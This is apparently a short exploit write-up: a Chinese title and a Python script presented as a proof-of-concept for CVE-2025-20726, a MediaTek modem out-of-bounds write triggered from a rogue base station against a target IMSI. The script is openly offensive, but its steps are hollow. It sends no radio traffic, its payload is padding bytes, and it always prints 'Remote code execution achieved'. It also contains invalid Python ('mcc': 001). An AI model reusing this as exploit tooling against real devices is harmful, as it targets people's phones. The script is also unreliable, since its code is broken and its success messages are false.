CVE-2025-20726 MediaTek调制解调器越界写入漏洞

# CVE-2025-20726 MediaTek Modem Out of Bounds Write PoC # This is a conceptual proof-of-concept for educational purposes only # Attack requires a rogue base station setup import os import sys def create_rogue_base_station(): """ Simulate rogue base station setup Note: Actual implementation requires SDR hardware and specialized radio software """ print("[*] Setting up rogue base station for CVE-2025-20726") print("[*] Target: MediaTek Modem with incorrect bounds check") # Signal configuration for LTE/NR network config = { 'frequency': 2110, # Example LTE band 'cell_id': 0xABCDEF, 'tac': 0x1001, 'mcc': 001, 'mnc': 01 } return config def craft_malicious_packet(target_modem_info): """ Craft malicious packet to trigger OOB write The vulnerability exists in bounds checking when processing certain modem control messages """ # Malformed packet structure to trigger bounds check bypass packet = bytearray() # Protocol header packet.extend(b'\x00\x01') # Message type packet.extend(b'\x00\x00\x00\xFF') # Length indicator (manipulated) # Payload designed to trigger OOB write # The modem expects limited input but doesn't properly validate exploit_payload = b'A' * 1024 # Exceeds expected buffer size packet.extend(exploit_payload) return bytes(packet) def exploit_cve_2025_20726(target_device): """ Execute the exploit for CVE-2025-20726 """ print(f"[*] Targeting device: {target_device}") print("[*] Connecting to target via rogue base station...") # Step 1: Establish rogue base station connection config = create_rogue_base_station() print(f"[+] Rogue base station active on frequency {config['frequency']} MHz") # Step 2: Wait for target device connection print("[*] Waiting for target UE to connect...") # Step 3: Send malicious packet packet = craft_malicious_packet(target_device) print(f"[+] Sending malicious packet ({len(packet)} bytes)") # Step 4: Trigger vulnerability print("[+] Triggering out of bounds write via incorrect bounds check") # Step 5: Attempt privilege escalation print("[+] Exploiting for remote privilege escalation...") return True def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_20726_poc.py <target_imsi>") print("Example: python cve_2025_20726_poc.py 001019876543210") sys.exit(1) target = sys.argv[1] print("="*60) print("CVE-2025-20726 MediaTek Modem OOB Write Exploit") print("="*60) success = exploit_cve_2025_20726(target) if success: print("[+] Exploit completed - Remote code execution achieved") else: print("[-] Exploit failed") if __name__ == "__main__": main()